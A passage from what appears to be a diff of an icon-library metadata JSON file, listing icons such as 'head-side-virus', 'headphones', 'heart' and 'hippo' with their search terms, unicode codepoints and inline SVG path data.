"M.15,184.42C-2.17,244.21,23,298.06,64,334.88V512H224V316.51L3.67,156.25A182.28,182.28,0,0,0,.15,184.42ZM509.22,275c-21-47.12-48.5-151.75-73.12-186.75A208.11,208.11,0,0,0,266.11,0H200C117,0,42.48,50.57,13.25,123.65L239.21,288H511.76A31.35,31.35,0,0,0,509.22,275ZM320,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,320,224Zm16,144H496l16-48H256V512H401.88a64,64,0,0,0,60.71-43.76L464,464H336a16,16,0,0,1,0-32H474.67l10.67-32H336a16,16,0,0,1,0-32Z" + } + }, + "free": [ + "solid" + ] + }, + "head-side-virus": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cold", + "covid-19", + "flu", + "sick" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e064", + "label": "Head Side Virus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635534, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M272,240a16,16,0,1,0,16,16A16,16,0,0,0,272,240Zm-64-64a16,16,0,1,0,16,16A16,16,0,0,0,208,176Zm301.2,99c-20.93-47.12-48.43-151.73-73.07-186.75A207.9,207.9,0,0,0,266.09,0H192C86,0,0,86,0,192A191.23,191.23,0,0,0,64,334.81V512H320V448h64a64,64,0,0,0,64-64V320H480A32,32,0,0,0,509.2,275ZM368,240H355.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C290.47,297.09,256,311.37,256,339.88V352a16,16,0,0,1-32,0V339.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H112a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V96a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C313.09,173.53,327.37,208,355.88,208H368a16,16,0,0,1,0,32Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M272,240a16,16,0,1,0,16,16A16,16,0,0,0,272,240Zm-64-64a16,16,0,1,0,16,16A16,16,0,0,0,208,176Zm301.2,99c-20.93-47.12-48.43-151.73-73.07-186.75A207.9,207.9,0,0,0,266.09,0H192C86,0,0,86,0,192A191.23,191.23,0,0,0,64,334.81V512H320V448h64a64,64,0,0,0,64-64V320H480A32,32,0,0,0,509.2,275ZM368,240H355.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C290.47,297.09,256,311.37,256,339.88V352a16,16,0,0,1-32,0V339.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H112a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V96a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C313.09,173.53,327.37,208,355.88,208H368a16,16,0,0,1,0,32Z" + } + }, + "free": [ + "solid" + ] + }, + "heading": { + "changes": [ + "4.1", + "5.0.0", + "5.9.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "format", + "header", + "text", + "title" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1dc", + "label": "heading", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635535, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 96v320h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H320a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V288H160v128h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V96H32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16h-32v128h192V96h-32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M448 96v320h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H320a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V288H160v128h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V96H32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16h-32v128h192V96h-32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "headphones": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "listen", + "music", + "sound", + "speaker" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f025", + "label": "headphones", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635536, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32C114.52 32 0 146.496 0 288v48a32 32 0 0 0 17.689 28.622l14.383 7.191C34.083 431.903 83.421 480 144 480h24c13.255 0 24-10.745 24-24V280c0-13.255-10.745-24-24-24h-24c-31.342 0-59.671 12.879-80 33.627V288c0-105.869 86.131-192 192-192s192 86.131 192 192v1.627C427.671 268.879 399.342 256 368 256h-24c-13.255 0-24 10.745-24 24v176c0 13.255 10.745 24 24 24h24c60.579 0 109.917-48.098 111.928-108.187l14.382-7.191A32 32 0 0 0 512 336v-48c0-141.479-114.496-256-256-256z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 32C114.52 32 0 146.496 0 288v48a32 32 0 0 0 17.689 28.622l14.383 7.191C34.083 431.903 83.421 480 144 480h24c13.255 0 24-10.745 24-24V280c0-13.255-10.745-24-24-24h-24c-31.342 0-59.671 12.879-80 33.627V288c0-105.869 86.131-192 192-192s192 86.131 192 192v1.627C427.671 268.879 399.342 256 368 256h-24c-13.255 0-24 10.745-24 24v176c0 13.255 10.745 24 24 24h24c60.579 0 109.917-48.098 111.928-108.187l14.382-7.191A32 32 0 0 0 512 336v-48c0-141.479-114.496-256-256-256z" + } + }, + "free": [ + "solid" + ] + }, + "headphones-alt": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "listen", + "music", + "sound", + "speaker" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f58f", + "label": "Alternate Headphones", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635536, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 288h-16c-35.35 0-64 28.7-64 64.12v63.76c0 35.41 28.65 64.12 64 64.12h16c17.67 0 32-14.36 32-32.06V320.06c0-17.71-14.33-32.06-32-32.06zm208 0h-16c-17.67 0-32 14.35-32 32.06v127.88c0 17.7 14.33 32.06 32 32.06h16c35.35 0 64-28.71 64-64.12v-63.76c0-35.41-28.65-64.12-64-64.12zM256 32C112.91 32 4.57 151.13 0 288v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288c0-114.67 93.33-207.8 208-207.82 114.67.02 208 93.15 208 207.82v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288C507.43 151.13 399.09 32 256 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M160 288h-16c-35.35 0-64 28.7-64 64.12v63.76c0 35.41 28.65 64.12 64 64.12h16c17.67 0 32-14.36 32-32.06V320.06c0-17.71-14.33-32.06-32-32.06zm208 0h-16c-17.67 0-32 14.35-32 32.06v127.88c0 17.7 14.33 32.06 32 32.06h16c35.35 0 64-28.71 64-64.12v-63.76c0-35.41-28.65-64.12-64-64.12zM256 32C112.91 32 4.57 151.13 0 288v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288c0-114.67 93.33-207.8 208-207.82 114.67.02 208 93.15 208 207.82v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288C507.43 151.13 399.09 32 256 32z" + } + }, + "free": [ + "solid" + ] + }, + "headset": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "gamer", + "gaming", + "listen", + "live chat", + "microphone", + "shot caller", + "sound", + "support", + "telemarketer" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f590", + "label": "Headset", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635536, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 208c0-17.67-14.33-32-32-32h-16c-35.35 0-64 28.65-64 64v48c0 35.35 28.65 64 64 64h16c17.67 0 32-14.33 32-32V208zm176 144c35.35 0 64-28.65 64-64v-48c0-35.35-28.65-64-64-64h-16c-17.67 0-32 14.33-32 32v112c0 17.67 14.33 32 32 32h16zM256 0C113.18 0 4.58 118.83 0 256v16c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-16c0-114.69 93.31-208 208-208s208 93.31 208 208h-.12c.08 2.43.12 165.72.12 165.72 0 23.35-18.93 42.28-42.28 42.28H320c0-26.51-21.49-48-48-48h-32c-26.51 0-48 21.49-48 48s21.49 48 48 48h181.72c49.86 0 90.28-40.42 90.28-90.28V256C507.42 118.83 398.82 0 256 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M192 208c0-17.67-14.33-32-32-32h-16c-35.35 0-64 28.65-64 64v48c0 35.35 28.65 64 64 64h16c17.67 0 32-14.33 32-32V208zm176 144c35.35 0 64-28.65 64-64v-48c0-35.35-28.65-64-64-64h-16c-17.67 0-32 14.33-32 32v112c0 17.67 14.33 32 32 32h16zM256 0C113.18 0 4.58 118.83 0 256v16c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-16c0-114.69 93.31-208 208-208s208 93.31 208 208h-.12c.08 2.43.12 165.72.12 165.72 0 23.35-18.93 42.28-42.28 42.28H320c0-26.51-21.49-48-48-48h-32c-26.51 0-48 21.49-48 48s21.49 48 48 48h181.72c49.86 0 90.28-40.42 90.28-90.28V256C507.42 118.83 398.82 0 256 0z" + } + }, + "free": [ + "solid" + ] + }, + "heart": { + "changes": [ + "1", + "5.0.0", + "5.0.9", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "favorite", + "like", + "love", + "relationship", + "valentine" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f004", + "label": "Heart", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635538, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z" + }, + "regular": { + "last_modified": 1628088634856, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M458.4 64.3C400.6 15.7 311.3 23 256 79.3 200.7 23 111.4 15.6 53.6 64.3-21.6 127.6-10.6 230.8 43 285.5l175.4 178.7c10 10.2 23.4 15.9 37.6 15.9 14.3 0 27.6-5.6 37.6-15.8L469 285.6c53.5-54.7 64.7-157.9-10.6-221.3zm-23.6 187.5L259.4 430.5c-2.4 2.4-4.4 2.4-6.8 0L77.2 251.8c-36.5-37.2-43.9-107.6 7.3-150.7 38.9-32.7 98.9-27.8 136.5 10.5l35 35.7 35-35.7c37.8-38.5 97.8-43.2 136.5-10.6 51.1 43.1 43.5 113.9 7.3 150.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M458.4 64.3C400.6 15.7 311.3 23 256 79.3 200.7 23 111.4 15.6 53.6 64.3-21.6 127.6-10.6 230.8 43 285.5l175.4 178.7c10 10.2 23.4 15.9 37.6 15.9 14.3 0 27.6-5.6 37.6-15.8L469 285.6c53.5-54.7 64.7-157.9-10.6-221.3zm-23.6 187.5L259.4 430.5c-2.4 2.4-4.4 2.4-6.8 0L77.2 251.8c-36.5-37.2-43.9-107.6 7.3-150.7 38.9-32.7 98.9-27.8 136.5 10.5l35 35.7 35-35.7c37.8-38.5 97.8-43.2 136.5-10.6 51.1 43.1 43.5 113.9 7.3 150.8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "heart-broken": { + "changes": [ + "5.6.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "breakup", + "crushed", + "dislike", + "dumped", + "grief", + "love", + "lovesick", + "relationship", + "sad" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7a9", + "label": "Heart Broken", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635537, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M473.7 73.8l-2.4-2.5c-46-47-118-51.7-169.6-14.8L336 159.9l-96 64 48 128-144-144 96-64-28.6-86.5C159.7 19.6 87 24 40.7 71.4l-2.4 2.4C-10.4 123.6-12.5 202.9 31 256l212.1 218.6c7.1 7.3 18.6 7.3 25.7 0L481 255.9c43.5-53 41.4-132.3-7.3-182.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M473.7 73.8l-2.4-2.5c-46-47-118-51.7-169.6-14.8L336 159.9l-96 64 48 128-144-144 96-64-28.6-86.5C159.7 19.6 87 24 40.7 71.4l-2.4 2.4C-10.4 123.6-12.5 202.9 31 256l212.1 218.6c7.1 7.3 18.6 7.3 25.7 0L481 255.9c43.5-53 41.4-132.3-7.3-182.1z" + } + }, + "free": [ + "solid" + ] + }, + "heartbeat": { + "changes": [ + "4.3", + "5.0.0", + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "ekg", + "electrocardiogram", + "health", + "lifeline", + "vital signs" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f21e", + "label": "Heartbeat", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635538, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320.2 243.8l-49.7 99.4c-6 12.1-23.4 11.7-28.9-.6l-56.9-126.3-30 71.7H60.6l182.5 186.5c7.1 7.3 18.6 7.3 25.7 0L451.4 288H342.3l-22.1-44.2zM473.7 73.9l-2.4-2.5c-51.5-52.6-135.8-52.6-187.4 0L256 100l-27.9-28.5c-51.5-52.7-135.9-52.7-187.4 0l-2.4 2.4C-10.4 123.7-12.5 203 31 256h102.4l35.9-86.2c5.4-12.9 23.6-13.2 29.4-.4l58.2 129.3 49-97.9c5.9-11.8 22.7-11.8 28.6 0l27.6 55.2H481c43.5-53 41.4-132.3-7.3-182.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M320.2 243.8l-49.7 99.4c-6 12.1-23.4 11.7-28.9-.6l-56.9-126.3-30 71.7H60.6l182.5 186.5c7.1 7.3 18.6 7.3 25.7 0L451.4 288H342.3l-22.1-44.2zM473.7 73.9l-2.4-2.5c-51.5-52.6-135.8-52.6-187.4 0L256 100l-27.9-28.5c-51.5-52.7-135.9-52.7-187.4 0l-2.4 2.4C-10.4 123.7-12.5 203 31 256h102.4l35.9-86.2c5.4-12.9 23.6-13.2 29.4-.4l58.2 129.3 49-97.9c5.9-11.8 22.7-11.8 28.6 0l27.6 55.2H481c43.5-53 41.4-132.3-7.3-182.1z" + } + }, + "free": [ + "solid" + ] + }, + "helicopter": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "airwolf", + "apache", + "chopper", + "flight", + "fly", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f533", + "label": "Helicopter", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635539, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M304 384h272c17.67 0 32-14.33 32-32 0-123.71-100.29-224-224-224V64h176c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H144c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h176v64H112L68.8 70.4C65.78 66.37 61.03 64 56 64H16.01C5.6 64-2.04 73.78.49 83.88L32 192l160 64 86.4 115.2A31.992 31.992 0 0 0 304 384zm112-188.49C478.55 208.3 528.03 257.44 540.79 320H416V195.51zm219.37 263.3l-22.15-22.2c-6.25-6.26-16.24-6.1-22.64.01-7.09 6.77-13.84 11.25-24.64 11.25H240c-8.84 0-16 7.18-16 16.03v32.06c0 8.85 7.16 16.03 16 16.03h325.94c14.88 0 35.3-.47 68.45-29.52 7.02-6.14 7.57-17.05.98-23.66z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M304 384h272c17.67 0 32-14.33 32-32 0-123.71-100.29-224-224-224V64h176c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H144c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h176v64H112L68.8 70.4C65.78 66.37 61.03 64 56 64H16.01C5.6 64-2.04 73.78.49 83.88L32 192l160 64 86.4 115.2A31.992 31.992 0 0 0 304 384zm112-188.49C478.55 208.3 528.03 257.44 540.79 320H416V195.51zm219.37 263.3l-22.15-22.2c-6.25-6.26-16.24-6.1-22.64.01-7.09 6.77-13.84 11.25-24.64 11.25H240c-8.84 0-16 7.18-16 16.03v32.06c0 8.85 7.16 16.03 16 16.03h325.94c14.88 0 35.3-.47 68.45-29.52 7.02-6.14 7.57-17.05.98-23.66z" + } + }, + "free": [ + "solid" + ] + }, + "highlighter": { + "changes": [ + "5.1.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "marker", + "sharpie", + "update", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f591", + "label": "Highlighter", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635540, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 544 512\"><path d=\"M0 479.98L99.92 512l35.45-35.45-67.04-67.04L0 479.98zm124.61-240.01a36.592 36.592 0 0 0-10.79 38.1l13.05 42.83-50.93 50.94 96.23 96.23 50.86-50.86 42.74 13.08c13.73 4.2 28.65-.01 38.15-10.78l35.55-41.64-173.34-173.34-41.52 35.44zm403.31-160.7l-63.2-63.2c-20.49-20.49-53.38-21.52-75.12-2.35L190.55 183.68l169.77 169.78L530.27 154.4c19.18-21.74 18.15-54.63-2.35-75.13z\"/></svg>", + "viewBox": [ + "0", + "0", + "544", + "512" + ], + "width": 544, + "height": 512, + "path": "M0 479.98L99.92 512l35.45-35.45-67.04-67.04L0 479.98zm124.61-240.01a36.592 36.592 0 0 0-10.79 38.1l13.05 42.83-50.93 50.94 96.23 96.23 50.86-50.86 42.74 13.08c13.73 4.2 28.65-.01 38.15-10.78l35.55-41.64-173.34-173.34-41.52 35.44zm403.31-160.7l-63.2-63.2c-20.49-20.49-53.38-21.52-75.12-2.35L190.55 183.68l169.77 169.78L530.27 154.4c19.18-21.74 18.15-54.63-2.35-75.13z" + } + }, + "free": [ + "solid" + ] + }, + "hiking": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "activity", + "backpack", + "fall", + "fitness", + "outdoors", + "person", + "seasonal", + "walking" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6ec", + "label": "Hiking", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635540, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M80.95 472.23c-4.28 17.16 6.14 34.53 23.28 38.81 2.61.66 5.22.95 7.8.95 14.33 0 27.37-9.7 31.02-24.23l25.24-100.97-52.78-52.78-34.56 138.22zm14.89-196.12L137 117c2.19-8.42-3.14-16.95-11.92-19.06-43.88-10.52-88.35 15.07-99.32 57.17L.49 253.24c-2.19 8.42 3.14 16.95 11.92 19.06l63.56 15.25c8.79 2.1 17.68-3.02 19.87-11.44zM368 160h-16c-8.84 0-16 7.16-16 16v16h-34.75l-46.78-46.78C243.38 134.11 228.61 128 212.91 128c-27.02 0-50.47 18.3-57.03 44.52l-26.92 107.72a32.012 32.012 0 0 0 8.42 30.39L224 397.25V480c0 17.67 14.33 32 32 32s32-14.33 32-32v-82.75c0-17.09-6.66-33.16-18.75-45.25l-46.82-46.82c.15-.5.49-.89.62-1.41l19.89-79.57 22.43 22.43c6 6 14.14 9.38 22.62 9.38h48v240c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V176c.01-8.84-7.15-16-15.99-16zM240 96c26.51 0 48-21.49 48-48S266.51 0 240 0s-48 21.49-48 48 21.49 48 48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M80.95 472.23c-4.28 17.16 6.14 34.53 23.28 38.81 2.61.66 5.22.95 7.8.95 14.33 0 27.37-9.7 31.02-24.23l25.24-100.97-52.78-52.78-34.56 138.22zm14.89-196.12L137 117c2.19-8.42-3.14-16.95-11.92-19.06-43.88-10.52-88.35 15.07-99.32 57.17L.49 253.24c-2.19 8.42 3.14 16.95 11.92 19.06l63.56 15.25c8.79 2.1 17.68-3.02 19.87-11.44zM368 160h-16c-8.84 0-16 7.16-16 16v16h-34.75l-46.78-46.78C243.38 134.11 228.61 128 212.91 128c-27.02 0-50.47 18.3-57.03 44.52l-26.92 107.72a32.012 32.012 0 0 0 8.42 30.39L224 397.25V480c0 17.67 14.33 32 32 32s32-14.33 32-32v-82.75c0-17.09-6.66-33.16-18.75-45.25l-46.82-46.82c.15-.5.49-.89.62-1.41l19.89-79.57 22.43 22.43c6 6 14.14 9.38 22.62 9.38h48v240c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V176c.01-8.84-7.15-16-15.99-16zM240 96c26.51 0 48-21.49 48-48S266.51 0 240 0s-48 21.49-48 48 21.49 48 48 48z" + } + }, + "free": [ + "solid" + ] + }, + "hippo": { + "changes": [ + "5.4.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "animal", + "fauna", + "hippopotamus", + "hungry", + "mammal" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6ed", + "label": "Hippo", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635540, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M581.12 96.2c-27.67-.15-52.5 17.58-76.6 26.62C489.98 88.27 455.83 64 416 64c-11.28 0-21.95 2.3-32 5.88V56c0-13.26-10.75-24-24-24h-16c-13.25 0-24 10.74-24 24v48.98C286.01 79.58 241.24 64 192 64 85.96 64 0 135.64 0 224v240c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16v-70.79C128.35 407.57 166.72 416 208 416s79.65-8.43 112-22.79V464c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V288h128v32c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-32c17.67 0 32-14.33 32-32v-92.02c0-34.09-24.79-67.59-58.88-67.78zM448 176c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M581.12 96.2c-27.67-.15-52.5 17.58-76.6 26.62C489.98 88.27 455.83 64 416 64c-11.28 0-21.95 2.3-32 5.88V56c0-13.26-10.75-24-24-24h-16c-13.25 0-24 10.74-24 24v48.98C286.01 79.58 241.24 64 192 64 85.96 64 0 135.64 0 224v240c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16v-70.79C128.35 407.57 166.72 416 208 416s79.65-8.43 112-22.79V464c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V288h128v32c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-32c17.67 0 32-14.33 32-32v-92.02c0-34.09-24.79-67.59-58.88-67.78zM448 176c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "hips": { + "changes": [ + "5.0.5" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f452", + "label": "Hips", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722330, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 